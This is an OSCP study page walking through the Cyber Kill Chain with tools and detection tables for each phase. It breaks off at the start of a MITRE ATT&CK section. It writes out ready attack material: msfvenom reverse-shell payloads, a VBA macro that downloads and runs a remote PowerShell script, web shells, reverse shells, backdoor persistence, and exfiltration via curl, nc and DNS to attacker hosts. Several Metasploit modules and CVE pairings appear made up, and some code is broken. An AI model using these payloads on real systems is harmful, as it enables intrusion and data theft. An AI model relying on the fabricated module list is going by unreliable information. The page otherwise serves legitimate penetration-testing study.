Domain 1Recon & ReportingCORE

Attack Lifecycle

The Cyber Kill Chain and MITRE ATT&CK framework mapping the complete attack lifecycle from reconnaissance to actions on objectives, with tools and techniques for each phase.

Domain: Domain 1: Reconnaissance & Reporting•Updated: 2026-09-01
#kill-chain#mitre-attack#attack-phases#adversary-tactics

Attack Lifecycle

Topic 4 — Understanding how adversaries operate from initial reconnaissance through objective completion, and how to model, detect, and simulate each phase.

The Attack Lifecycle describes the complete sequence of steps an adversary takes to achieve their objectives. Two dominant frameworks model this lifecycle:

  1. Cyber Kill Chain (Lockheed Martin) — A 7-phase linear model focused on disruption points
  2. MITRE ATT&CK — A comprehensive knowledge base of 14 tactics and hundreds of techniques based on real-world observations

Understanding the attack lifecycle is critical for OSCP because the exam essentially requires you to execute a condensed kill chain against multiple targets within 23 hours.


Table of Contents

  1. Cyber Kill Chain (Lockheed Martin)
  2. MITRE ATT&CK Framework
  3. OSCP Exam Mapping
  4. Detailed Phase Walkthroughs
  5. Practical Examples
  6. Lab Exercises
  7. Key Tools Reference
  8. Exam Tips
  9. Cross-References

1. Cyber Kill Chain (Lockheed Martin)

The Cyber Kill Chain was developed by Lockheed Martin in 2011. It identifies seven phases an adversary must complete to successfully execute an attack. The core insight: disrupting any phase breaks the chain and prevents the attack.

graph LR
    A[1. Reconnaissance] --> B[2. Weaponization]
    B --> C[3. Delivery]
    C --> D[4. Exploitation]
    D --> E[5. Installation]
    E --> F[6. Command & Control]
    F --> G[7. Actions on Objectives]

    style A fill:#E3F2FD,stroke:#1565C0
    style B fill:#E3F2FD,stroke:#1565C0
    style C fill:#E1F5FE,stroke:#0288D1
    style D fill:#FFF3E0,stroke:#E65100
    style E fill:#FFF3E0,stroke:#E65100
    style F fill:#FFEBEE,stroke:#C62828
    style G fill:#FFEBEE,stroke:#C62828

Phase 1: Reconnaissance

Objective: Gather intelligence about the target to identify potential attack vectors.

Passive vs Active Reconnaissance

Aspect Passive Reconnaissance Active Reconnaissance
Definition Gathering info without directly interacting with the target Directly probing the target systems
Detectability Low — target is unaware High — generates logs and alerts
Risk Minimal Higher — may trigger IDS/IPS
Timing Always first phase After passive recon

Passive Reconnaissance Techniques

OSINT (Open Source Intelligence) Sources:

Source Category What You Find Tools
DNS Records Subdomains, mail servers, TXT records dig, nslookup, dnsrecon
WHOIS Domain registration, org info, nameservers whois, whois.domaintools.com
Search Engines Exposed pages, directories, files Google Dorking, shodan, censys
Social Media Employee names, tech stack, org structure LinkedIn, GitHub, Twitter
Certificate Transparency Registered domains and subdomains crt.sh, censys
Job Postings Technology stack, infrastructure hints Company career pages
Public Repos Source code, configs, credentials GitHub, GitLab search
Archive Data Historical website content web.archive.org

Passive Reconnaissance Commands:

# DNS enumeration (passive — queries public resolvers)
dig example.com ANY
dig example.com AXFR  # Zone transfer attempt
nslookup -type=MX example.com

# WHOIS lookup
whois example.com

# Certificate transparency log search
# Find all certificates issued for *.example.com
curl -s "https://crt.sh/?q=%25.example.com&output=json" | jq -r '.[].name_value' | sort -u

# Shodan CLI (requires API key)
shodan search "hostname:example.com"
shodan search "http.component:\"Apache\" org:\"Target Corp\""

# Google Dorking examples (manual, via browser)
# site:example.com filetype:pdf
# site:example.com inurl:admin
# site:example.com intitle:"index of"
# site:example.com filetype:env
# site:example.com ext:php?

theHarvester — Comprehensive Passive Recon:

# Basic usage
theHarvester -d example.com -b all

# Specific sources
theHarvester -d example.com -b google,bing,linkedin,github
theHarvester -d example.com -b crt,vmware,fullhunt

# With DNS brute force and reverse DNS
theHarvester -d example.com -b all -f output -n -d -r

Maltego — Visual OSINT:

Key Transformations:
├── Domain → DNS Records
├── Domain → Whois Details
├── IP Address → Geolocation
├── IP Address → ASN Info
├── Person → LinkedIn Profile
├── Person → Email Addresses
├── Email → Associated Domains
└── Domain → Subdomains (via CT logs)

Active Reconnaissance Techniques

Network Scanning:

# Nmap — The Swiss Army Knife
# Basic TCP SYN scan (stealthy, requires root)
nmap -sS -p- 10.10.10.1

# Service and version detection
nmap -sV -sC -p- 10.10.10.1

# OS detection
nmap -O --osscan-guess 10.10.10.1

# Aggressive scan (combines multiple options)
nmap -A -T4 -p- 10.10.10.1

# Script scanning (vulnerability detection)
nmap --script vuln -p 80,443 10.10.10.1
nmap --script http-enum -p 80 10.10.10.1
nmap --script smb-enum-shares -p 445 10.10.10.1

# Timing templates (T0=slowest, T5=fastest)
nmap -T4 -p- 10.10.10.0/24  # Fast scan for lab environments

Web Application Reconnaissance:

# Directory and file enumeration
gobuster dir -u http://10.10.10.1 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,backup,bak
ffuf -u http://10.10.10.1/FUZZ -w /usr/share/wordlists/dirb/common.txt

# Subdomain enumeration
subfinder -d example.com
amass enum -d example.com

# Technology fingerprinting
whatweb http://10.10.10.1
wappalyzer (browser extension)

# Nikto web vulnerability scanner
nikto -h http://10.10.10.1

Service-Specific Enumeration:

# SMB enumeration
enum4linux -a 10.10.10.1
smbclient -L \\\\10.10.10.1\\ -N

# SNMP enumeration
onesixtyone -c /usr/share/doc/snmp/snmp-community-strings.txt 10.10.10.1

# LDAP enumeration
ldapsearch -x -h 10.10.10.1 -s sub -b "dc=example,dc=com"

# FTP anonymous access
ftp 10.10.10.1
# Login: anonymous
# Password: anonymous

Detection Methods (Blue Team)

Detection Method What It Catches Tool/Technology
DNS query monitoring Zone transfers, subdomain enumeration DNS logs, Zeek
Web server logs Directory brute force, scanner signatures Apache/Nginx logs, WAF
Network flow analysis Port scanning patterns NetFlow, Zeek
Shodan/Censys alerts Asset exposure monitoring Shodan alerts
Threat intelligence feeds Known malicious IPs/domains MISP, AlienVault OTX
UEBA Unusual information gathering behavior SIEM, Splunk

Evasion Techniques (Red Team)

Technique Description Implementation
Rate limiting Slow down scans to avoid detection nmap -T2, custom delays
Fragmentation Split packets to evade IDS nmap -f
Decoys Mask source among fake IPs nmap -D RND:10
Source port manipulation Use allowed source ports nmap --source-port 53
DNS over HTTPS Bypass DNS monitoring doH clients
Proxy chains Route through intermediaries proxychains

Phase 2: Weaponization

Objective: Create a deliverable attack payload by pairing an exploit with a malicious payload.

Exploit + Payload = Weapon

┌─────────────────┐     ┌─────────────────┐
│    EXPLOIT      │     │     PAYLOAD     │
│                 │     │                 │
│ Exploits a      │  +  │ Executes after  │
│ vulnerability   │     │ exploitation    │
│ to gain code    │     │ (shell, malware, │
│ execution       │     │  backdoor, etc.) │
└─────────────────┘     └─────────────────┘
         │                       │
         └───────────┬───────────┘
                     ▼
            ┌────────────────┐
            │    WEAPON      │
            │  (Combined)    │
            └────────────────┘

msfvenom Deep Dive

msfvenom is the Metasploit payload generator (merged from msfpayload and msfencode).

Core Syntax:

msfvenom -p <payload> [options] -f <format> -o <output>

Common Payloads:

Payload Description Use Case
windows/x64/meterpreter/reverse_tcp Full Meterpreter shell (x64) Windows x64 targets
windows/meterpreter/reverse_tcp Full Meterpreter shell (x86) Windows x86 targets
linux/x86/meterpreter/reverse_tcp Full Meterpreter shell (Linux x86) Linux x86 targets
linux/x86_64/meterpreter/reverse_tcp Full Meterpreter shell (Linux x64) Linux x64 targets
windows/x64/meterpreter/reverse_https Encrypted C2 over HTTPS Evasion of HTTP inspection
windows/x64/meterpreter/reverse_tcp_allports Tries all ports Firewall evasion
php/meterpreter/reverse_tcp PHP-based payload Web app exploitation
java/jsp_shell_reverse_tcp JSP web shell Java web apps
cmd/unix/reverse_bash Simple bash reverse shell Unix quick access
python/meterpreter/reverse_tcp Python-based payload Python environments

Generating Common Payloads:

# Windows x64 reverse TCP shell
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4443 -f exe -o payload.exe

# Windows x86 reverse TCP shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4443 -f exe -o payload.exe

# Linux x64 ELF shell
msfvenom -p linux/x86_64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4443 -f elf -o payload.elf

# Windows x64 reverse HTTPS (encrypted C2)
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.14.5 LPORT=443 -f exe -o payload.exe

# PHP reverse shell (for web upload)
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4443 -f raw -o shell.php

# ASP web shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4443 -f asp -o shell.asp

# JSP web shell
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.5 LPORT=4443 -f raw -o shell.jsp

# WAR file (deployable web archive)
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.5 LPORT=4443 -f war -o shell.war

# PowerShell one-liner (for phishing or drive-by)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4443 -f psh-reflection

# Python one-liner
msfvenom -p python/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4443 -f raw

# Bash reverse shell (no encoding)
msfvenom -p cmd/unix/reverse_bash LHOST=10.10.14.5 LPORT=4443 -f raw

# Windows x64 staged payload (smaller initial download)
msfvenom -p windows/x64/meterpreter/staged_reverse_tcp LHOST=10.10.14.5 LPORT=4443 -f exe -o staged.exe

# Windows x64 stageless payload (larger, no second stage)
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.10.14.5 LPORT=4443 -f exe -o stageless.exe

Staged vs Stageless Payloads:

Feature Staged Stageless
Size Small initial payload Large single payload
Delivery Two-stage download Single delivery
Reliability Depends on C2 availability More reliable
Evasion Better (smaller footprint) Worse (larger footprint)
Use Case Network restrictions, AV evasion Unreliable networks

Encoding and Evasion:

# Apply encoding to evade basic AV signatures
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4443 -e x86/shikata_ga_nai -i 3 -f exe -o encoded.exe

# Available encoders
msfvenom -l encoders

# Common encoders:
# x86/shikata_ga_nai    - Polymorphic XOR (most reliable)
# x86/cjk               - CJK encoding
# x86/countdown         - Countdown encoder
# x86/fnstenv_mov       - Context state encoder
# x86/jmp_call_additive - Additive encoder
# x86/services          - Service-based encoder

Custom Payload Options:

# Set user agent for HTTP payloads
msfvenom -p windows/x64/meterpreter/reverse_http LHOST=10.10.14.5 LPORT=8080 USERAGENT="Mozilla/5.0 (Windows NT 10.0; Win64; x64)" -f exe -o payload.exe

# Set exit on session end
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4443 EXITFUNC=thread -f exe -o payload.exe

# EXITFUNC options:
# process  - Terminate the process (default)
# thread   - Exit the thread silently
# none     - Don't exit (may leave artifacts)

Other Weaponization Tools

Tool Purpose Description
Cobalt Strike Advanced C2 and payload gen generate command for custom beacons
Sliver Open-source C2 framework sliver-cli server package
Veil-Evasion AV evasion payload gen Generates undetected payloads
Shellter PE infecter Injects payloads into legitimate executables
UPX Binary packer Compresses executables (may trigger AV)
Donut .NET to shellcode Generates shellcode from .NET assemblies
Chameleon AV evasion Modifies payloads to bypass AV

Phase 3: Delivery

Objective: Transfer the weaponized payload to the target system.

Delivery Vectors

Vector Description Risk Level OSCP Relevance
Spear Phishing Email Targeted email with malicious attachment/link High Medium (client-side attacks)
Malicious Attachment DOC, XLS, PDF with embedded exploit High Medium
Malicious Link URL leading to exploit kit or download Medium Low
USB Drop Physical USB device with autorun malware High (physical access) Low
Drive-by Download Compromised website auto-delivers payload Medium Low
Watering Hole Compromise site the target frequently visits Medium Low
Web Vulnerability Upload via web app vulnerability High Very High
Exploit Delivery Direct exploitation delivers payload High Very High
Removable Media USB/DVD with malicious content Medium Low
Supply Chain Compromise software update/distribution Very High Low

Email-Based Delivery

Social-Engineer Toolkit (SET):

# Launch SET
setoolkit

# Menu options relevant to delivery:
# 1) Social-Engineering Attacks
#   1) Spear-Phishing Attack Vectors
#     1) Fake Login Entity (credential harvester)
#     2) Mass Mailer Attack (bulk phishing)
#     3) Credential Harvester Attack
#     4) Email Web Portal Infectious Agent
#     5) Archive Document Attack (malicious DOC/PDF)
#     6) Custom Message (fully custom phishing)
#   2) Website Attack Vectors
#     1) Credential Harvester
#     2) Credential Proxy
#     3) Tabnabbing
#     4) Web Jacking
#     5) Multi-Attack
#   3) Infectious Media Generator
#     1) USB/CDC (USB drive attack)
#     2) ISO Image (burnable disc)

Creating a Malicious Document:

# Using SET to create a malicious Word document
setoolkit
# Select: 1 > 1 > 5 (Archive Document Attack)
# Choose payload type
# Specify LHOST and LPORT
# SET generates a Word doc with embedded macro

# Manual macro creation (for understanding)
# Create a Word document with VBA macro:
Sub AutoOpen()
    Shell("cmd.exe /c powershell -nop -exec bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.5:8080/evil.ps1')\"", vbHide)
End Sub

gophish — Phishing Framework:

# Launch gophish
./gophish

# Web UI at https://localhost:3333
# Steps:
# 1. Create Sending Profile (SMTP configuration)
# 2. Create Landing Page (credential harvester or redirect)
# 3. Create Email Template (phishing email content)
# 4. Create Users/Groups (targets)
# 5. Create and Launch Campaign

Web-Based Delivery (OSCP-Critical)

Web Shell Upload:

# Method 1: Direct upload via vulnerable web app
# Upload shell.php through file upload vulnerability

# Method 2: Upload via FTP
ftp 10.10.10.1
put shell.php

# Method 3: Upload via web management interface
# Many OSCP machines have admin panels with file upload

# Method 4: Write via command injection
curl http://10.10.10.1/vuln.php?cmd=echo%20'<?php%20system($_GET["cmd"]);?>'%20>%20/shell.php

# Method 5: Upload via database backup
# Upload .sql file, then access it via web

Common Web Shell Contents:

<!-- Simple PHP web shell -->
<?php system($_GET['cmd']); ?>

<!-- More feature-rich PHP shell -->
<?php
if(isset($_REQUEST['cmd'])){
    $cmd = ($_REQUEST['cmd']);
    system($cmd);
    die;
}
?>

<!-- ASP web shell (IIS) -->
<%
cmd = request("cmd")
set r = createobject("wscript.shell")
set x = r.exec("cmd /c " & cmd)
Response.Write x.stdout.readall
%>

<!-- JSP web shell (Tomcat) -->
<%@ page import="java.util.*,java.io.*" %>
<%
    if("password".equals(request.getParameter("pwd"))){
        Runtime r = Runtime.getRuntime();
        Process p = r.runtime.exec(request.getParameter("cmd"));
        InputStream i = p.getInputStream();
        byte[] b = new byte[2048];
        while(i.read(b) != -1)
            out.println(new String(b));
    }
%>

Detection Methods (Blue Team)

Detection Method What It Catches Tool/Technology
Email gateway filtering Malicious attachments, links Proofpoint, Mimecast
Sandboxing Dynamic analysis of attachments Cuckoo Sandbox, Any.Run
URL reputation Known malicious URLs URL filtering, threat intel
DLP (Data Loss Prevention) Sensitive data in emails Symantec DLP, McAfee DLP
Web application firewall Web shell uploads, injections ModSecurity, commercial WAFs
File integrity monitoring Unauthorized file changes AIDE, OSSEC, Tripwire

Evasion Techniques (Red Team)

Technique Description
Macro obfuscation Encode/obfuscate VBA macros
Template injection Embed payload in document template
Image steganography Hide payload in image data
URL shortening Hide malicious URLs behind shorteners
Domain fronting Use legitimate CDN domain for C2
Living off the Land Use legitimate tools (PowerShell, WMI)

Phase 4: Exploitation

Objective: Trigger the vulnerability to execute the payload and gain initial code execution.

Exploitation Methodology

┌─────────────────────────────────────────────────────────────┐
│              EXPLOITATION METHODOLOGY                        │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  1. Identify Vulnerable Service                             │
│     └── nmap -sV -p- 10.10.10.1                            │
│                                                             │
│  2. Research Vulnerability                                  │
│     └── searchsploit <service> <version>                    │
│     └── Google: "service version exploit"                   │
│     └── Exploit-DB, GitHub, CVE databases                   │
│                                                             │
│  3. Select Exploit                                          │
│     └── Reliability > Complexity                            │
│     └── Prefer Metasploit modules when available            │
│     └── Custom scripts for unique scenarios                 │
│                                                             │
│  4. Prepare Exploit                                         │
│     └── Modify LHOST, LPORT, target IP                      │
│     └── Adjust payload options                              │
│     └── Test in controlled environment                      │
│                                                             │
│  5. Execute Exploit                                         │
│     └── Run exploit against target                          │
│     └── Monitor for shell/callback                          │
│                                                             │
│  6. Stabilize Shell                                         │
│     └── Upgrade to interactive TTY                          │
│     └── Upgrade to Meterpreter (if applicable)              │
│                                                             │
└─────────────────────────────────────────────────────────────┘

Metasploit Exploitation Workflow

# Start Metasploit
msfconsole

# Search for exploits
searchsploit Apache 2.4.49
search type:exploit platform:windows service:smb

# In Metasploit
search apache struts
search ms17-010
search eternalblue

# Select and configure exploit
use exploit/multi/http/apache_struts2_content_type_ognl
set RHOSTS 10.10.10.1
set RPORT 8080
set LHOST 10.10.14.5
set LPORT 4443

# View exploit options
show options
show targets

# Set target if needed
set TARGET 0

# Select payload
show payloads
set PAYLOAD windows/x64/meterpreter/reverse_tcp

# View payload options
show options

# Execute
exploit

# Or run in background
exploit -j -z

# List active sessions
sessions
sessions -l

# Interact with a session
sessions -i 1

Common Metasploit Exploits (OSCP-Relevant):

Exploit Module Vulnerability Target CVE
exploit/multi/http/apache_struts2_content_type_ognl Struts2 OGNL injection Java/Web CVE-2017-5638
exploit/windows/smb/ms17_010_eternalblue EternalBlue SMB Windows CVE-2017-0144
exploit/multi/http/jenkins_cli Jenkins CLI gadget Java/Web CVE-2016-0788
exploit/unix/webapp/tomcat_mgr_upload Tomcat Manager auth Java/Web N/A (auth required)
exploit/windows/http/wordpress_crop_image_rce WordPress image RCE PHP/Web CVE-2019-19985
exploit/multi/http/wp_advisory_invoice_privesc WP plugin privesc PHP/Web CVE-2020-28605
exploit/windows/http/fortigate_c_139_upload FortiGate upload Network CVE-2018-13946
exploit/linux/http/dlink_dir_300nur_cmd D-Link command inj Linux/IoT CVE-2019-16920
exploit/multi/http/nuuo_cms_exec Nuuo CMS RCE PHP/Web CVE-2018-7328
exploit/windows/http/pan_os_virtual_system Palo Alto VS Network CVE-2019-4392

Manual Exploitation (Non-Metasploit)

Python Exploit Script Template:

#!/usr/bin/env python3
import socket
import sys
import struct
import subprocess

# Configuration
TARGET_IP = "10.10.10.1"
TARGET_PORT = 80
LHOST = "10.10.14.5"
LPORT = 4443

# Generate payload (or use pre-generated shellcode)
# For demonstration, using a simple reverse shell command
payload = f"bash -c 'bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1'"

# Craft the exploit request
exploit_request = f"""POST /vulnerable_endpoint HTTP/1.1\r
Host: {TARGET_IP}\r
Content-Type: application/x-www-form-urlencoded\r
Content-Length: {len(payload)}\r
\r
{payload}"""

try:
    # Connect to target
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((TARGET_IP, TARGET_PORT))
    print(f"[+] Connected to {TARGET_IP}:{TARGET_PORT}")

    # Send exploit
    s.sendall(exploit_request.encode())
    print("[+] Exploit sent")

    # Receive response
    response = s.recv(4096)
    print(f"[-] Response: {response.decode(errors='ignore')}")

    s.close()
    print("[+] Connection closed")

except Exception as e:
    print(f"[!] Error: {e}")
    sys.exit(1)

Buffer Overflow Exploitation Steps:

# Step 1: Determine crash point
# Use pattern_create.rb to generate unique pattern
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2000

# Step 2: Send pattern to find EIP offset
# Run the vulnerable app with the pattern as input

# Step 3: Find exact offset
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q <EIP_value>

# Step 4: Find bad characters
# Send all bytes except known bad chars, compare in debugger

# Step 5: Find JMP ESP (or equivalent) instruction
# Using mona.py in Immunity Debugger:
# !mona find -s "\xff\xe4" -m <module_name>

# Step 6: Generate shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4443 -b '\x00\x0a\x0d' -f python

# Step 7: Craft final exploit
# [Padding to offset][JMP ESP address][NOP sled][Shellcode][Remaining buffer]

Shell Stabilization

# Upgrade to proper TTY (Linux)
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Then: Ctrl+Z, stty raw -echo, fg

# Better TTY upgrade
python3 -c 'import pty,os,signal; signal.signal(signal.SIGTTIN,signal.SIG_IGN); os.dup2(os.open("/dev/tty",os.O_RDWR),0); os.dup2(1,1); os.dup2(1,2); pty.spawn("/bin/bash")'

# Upgrade to Meterpreter (if using Metasploit)
# From regular shell:
sessions -u 1

# From Meterpreter:
# Get system privileges
getsystem

# Run as specific user
run post/multi/recon/local_exploit_suggester

Detection Methods (Blue Team)

Detection Method What It Catches Tool/Technology
IDS/IPS signatures Known exploit patterns Snort, Suricata
EDR behavioral detection Suspicious process execution CrowdStrike, SentinelOne
Anomaly detection Unusual network connections Zeek, network monitoring
Application logs Error patterns, injection attempts Web server logs, app logs
Memory forensics Exploit artifacts in memory Volatility
Honeypots Exploitation attempts T-Pot, Honeyd

Evasion Techniques (Red Team)

Technique Description
Zero-day exploits Unknown vulnerabilities, no signatures
N-day with custom exploit Known vuln but custom implementation
Exploit obfuscation Modify exploit code to avoid signatures
Timing-based attacks Slow exploitation to avoid rate detection
Living off the Land Use built-in tools instead of exploits

Phase 5: Installation

Objective: Establish a persistent foothold on the compromised system.

Persistence Mechanisms

Linux Persistence:

Mechanism Description Command Example
Cron Job Scheduled task runs payload echo "* * * * * /tmp/backdoor" | crontab -
Systemd Service System service auto-starts Create .service file in /etc/systemd/system/
SSH Key Add attacker’s public key echo "ssh-rsa AAA..." >> ~/.ssh/authorized_keys
SUID Binary Setuid backdoor binary cp /bin/bash /tmp/backdoor && chmod +s /tmp/backdoor
Init Script Startup script execution Add to /etc/rc.local or init.d
Malicious Library LD_PRELOAD hijacking echo "/tmp/evil.so" >> /etc/ld.so.preload
User Account Create hidden backdoor user useradd -o -u 0 -g 0 -M -d /root -s /bin/bash backdoor
Rootkit Kernel-level hiding Load malicious kernel module

Windows Persistence:

Mechanism Description Command Example
Registry Run Key Auto-start on login reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Update /t REG_SZ /d C:\temp\backdoor.exe
Scheduled Task Scheduled execution schtasks /create /tn "Update" /tr C:\temp\backdoor.exe /sc onlogon
Service Windows service sc create Backdoor binPath= "C:\temp\backdoor.exe" start= auto
Startup Folder Auto-start on login Copy to %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\
WMI Event Subscription Event-triggered execution wmic /namespace:\\root\subscription
DLL Hijacking Load malicious DLL Place DLL in application search path
Shortcut (.lnk) Hijack Malicious shortcut Replace legitimate .lnk with malicious one
COM Hijacking CLSID redirection Modify registry CLSID entries

Detailed Persistence Examples:

# Linux: Systemd service persistence
cat > /etc/systemd/system/system-update.service << 'EOF'
[Unit]
Description=System Update Service
After=network.target

[Service]
Type=simple
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'
Restart=always
RestartSec=60

[Install]
WantedBy=multi-user.target
EOF
systemctl enable system-update.service
systemctl start system-update.service

# Linux: SSH key persistence
ssh-keygen -t rsa -b 4096 -f /tmp/persist -N ""
cat /tmp/persist.pub | ssh user@target 'cat >> ~/.ssh/authorized_keys'

# Windows: Registry persistence (via Meterpreter)
# In Meterpreter:
run persistence -U -i 5 -p 4443 -r 10.10.14.5

# Windows: Scheduled task (via PowerShell)
schtasks /create /tn "WindowsUpdate" /tr "powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.5:8080/evil.ps1')" /sc onlogon /ru SYSTEM

# Windows: Service creation (via PowerShell)
New-Service -Name "SystemHealth" -BinaryPathName "C:\temp\backdoor.exe" -StartupType Automatic
Start-Service "SystemHealth"

Backdoor Types

Type Description Pros Cons
Reverse Shell Target connects back to attacker Bypasses inbound firewall Requires listener
Bind Shell Attacker connects to target port No listener needed Requires open port
Web Shell HTTP-accessible shell script Easy access via browser Depends on web server
SSH Backdoor Modified SSH with backdoor auth Stealthy, encrypted Requires SSH access
RDP Backdoor Hidden RDP account GUI access High visibility
DNS Tunnel C2 over DNS protocol Evades most firewalls Slow, complex

Detection Methods (Blue Team)

Detection Method What It Catches Tool/Technology
File integrity monitoring New/modified system files AIDE, OSSEC, Tripwire
Registry monitoring New run keys, services Windows Event Logs
Process monitoring Suspicious process creation EDR, Sysmon
Network monitoring Unexpected outbound connections Zeek, network IDS
Log analysis New accounts, cron jobs SIEM, log review
Startup analysis Unauthorized startup items Autoruns, startup scripts

Phase 6: Command & Control

Objective: Establish and maintain communication channel between the compromised host and the attacker’s infrastructure.

C2 Channel Types

Channel Type Protocol Port(s) Stealth Level Description
Direct TCP Custom/TCP Any Low Simple reverse shell
HTTP/HTTPS HTTP/HTTPS 80/443 Medium Blends with web traffic
DNS DNS 53 High Encodes data in DNS queries
ICMP ICMP N/A High Encodes data in ping packets
SMTP SMTP 25/587 Medium Uses email as C2 channel
IRC IRC 6667 Medium Chat protocol for C2
P2P Various Various High Decentralized C2
Cloud Services HTTPS 443 Very High Uses legitimate cloud APIs

C2 Frameworks

Metasploit Multi-Handler:

# Set up listener in Metasploit
msfconsole
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.5
set LPORT 4443
set ExitOnSession false
exploit -j -z

# For HTTPS (encrypted) C2
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_https
set LHOST 10.10.14.5
set LPORT 443
exploit -j -z

# For multiple simultaneous sessions
set AutoRunScript migrate -f
set ExitOnSession false

Sliver C2 Framework:

# Start Sliver server
sliver-server

# Generate implant
generate -o sliver.exe -f msi
# Or for Linux:
generate -o sliver.elf -f elf

# Connect to implant
connect <session-name>

# Interactive shell
shell

# Execute commands
execute whoami
execute ipconfig

# Download files
download C:\Windows\System32\config\SAM .\SAM

# Upload files
upload payload.exe C:\temp\payload.exe

Cobalt Strike (Commercial):

Key Features:
├── Beacon (implant)
│   ├── Sleeper (low-profile, periodic check-in)
│   ├── Interactive (real-time command execution)
│   └── Implant spawners (process injection)
├── C2 Profiles (customizable communication)
│   ├── HTTP/S with domain fronting
│   ├── DNS C2
│   └── SMB C2
├── Post-Exploitation
│   ├── Lateral movement (psexec, wmi, smb)
│   ├── Credential harvesting
│   └── Pivot/proxy capabilities
└── Team Server (multi-operator support)

C2 Evasion Techniques

Technique Description Implementation
Domain Fronting Use CDN domain to hide C2 domain Set Host header to C2 domain, connect to CDN
JA3 Fingerprint Spoofing Mimic legitimate TLS client Modify TLS handshake parameters
Traffic Encapsulation Encrypt C2 traffic Use HTTPS, custom encryption
Low-and-Slow Reduce check-in frequency Long sleep intervals (hours)
Legitimate Service Abuse Use cloud APIs as C2 GitHub Gists, Dropbox, Slack
DNS Tunneling Encode commands in DNS queries iodine, dnscat2
Dead Drop Resolvers Indirect C2 via web pages Beacon checks webpage for instructions

DNS Tunneling Example:

# Server side (attacker)
iodine -d -P password tun0

# Client side (compromised host)
iodine -f -P password <attacker_ip>

# Data is encoded in DNS subdomain queries
# Example: aGVsbG8gd29ybGQ.c2VjcmV0.tunnel.example.com
# Decodes to: "hello world" + "secret"

Detection Methods (Blue Team)

Detection Method What It Catches Tool/Technology
Network traffic analysis Unusual outbound connections Zeek, Suricata
DNS analysis High entropy DNS queries, DGA DNS logs, Zeek DNS
Certificate analysis Self-signed, suspicious certs JA3/JA4 fingerprinting
Behavioral analytics Beaconing patterns Darktrace, CrowdStrike
Proxy logs Suspicious HTTP requests Proxy server logs
EDR network monitoring Process-to-IP correlation EDR solutions

Phase 7: Actions on Objectives

Objective: Achieve the adversary’s ultimate goal — data theft, destruction, or disruption.

Objective Types

Objective Description Techniques OSCP Relevance
Data Exfiltration Steal sensitive data Archive, encrypt, transfer High (proof.txt)
Destruction Destroy data/systems Wipe disks, corrupt files Low
Ransomware Encrypt and extort Crypto-ransomware Low
Lateral Movement Expand access Pass the hash, RDP, WMI Very High
Privilege Escalation Gain higher access Kernel exploits, misconfigs Very High
Resource Hijacking Use target resources Crypto mining, botnet Low

Data Exfiltration Techniques

# Method 1: Netcat
# Attacker: nc -lvnp 4444 > exfil_data.txt
# Target: nc 10.10.14.5 4444 < sensitive_data.txt

# Method 2: Curl
curl -X POST http://10.10.14.5:8080/collect -d @sensitive_data.txt

# Method 3: Wget
wget --post-file=sensitive_data.txt http://10.10.14.5:8080/collect

# Method 4: SCP
scp sensitive_data.txt user@10.10.14.5:/tmp/

# Method 5: FTP
ftp 10.10.14.5
put sensitive_data.txt

# Method 6: Base64 encode + DNS exfiltration
base64 sensitive_data.txt | split -b 50 - chunks_
for chunk in chunks_*; do
    dig +short $(cat $chunk).exfil.attacker.com
done

# Method 7: Meterpreter download
# In Meterpreter:
download C:\path\to\sensitive\file.exe .\
download /etc/shadow .\shadow

# Method 8: Archive and exfiltrate
tar czf /tmp/data.tar.gz /path/to/sensitive/
curl -X POST -F "file=@/tmp/data.tar.gz" http://10.10.14.5:8080/upload

OSCP-Specific Objectives

In the OSCP exam, “Actions on Objectives” translates to:

  1. Capture user.txt — Prove user-level access
  2. Capture root.txt / proof.txt — Prove admin/root access
  3. Document the exploitation path — For the report
# Linux: Capture flags
cat /home/*/user.txt
cat /root/root.txt

# Windows: Capture flags
type C:\Users\*\user.txt
type C:\Users\Administrator\Desktop\root.txt

# Create proof screenshot
# Take screenshot of whoami + flag contents

Detection Methods (Blue Team)

Detection Method What It Catches Tool/Technology
DLP (Data Loss Prevention) Sensitive data leaving network Symantec DLP, McAfee DLP
Network monitoring Large outbound transfers NetFlow, Zeek
File access monitoring Access to sensitive files EDR, file auditing
Archive detection Compression of sensitive data EDR behavioral alerts
Cloud API monitoring Unusual cloud API usage CloudTrail, Azure Monitor

2. MITRE ATT&CK Framework

Framework Architecture

MITRE ATT&CK (Adversarial Tactics, Techniques, and Common Knowledge) is a globally-accessible knowledge base of adversary tactics and techniques based on real-world observations.

┌──────────────────────────────────────────────────────────────┐
│                    MITRE ATT&CK MATRIX                       │
│                                                              │
│  ┌──────────┬──────────┬──────────┬──────────┬──────────┐   │
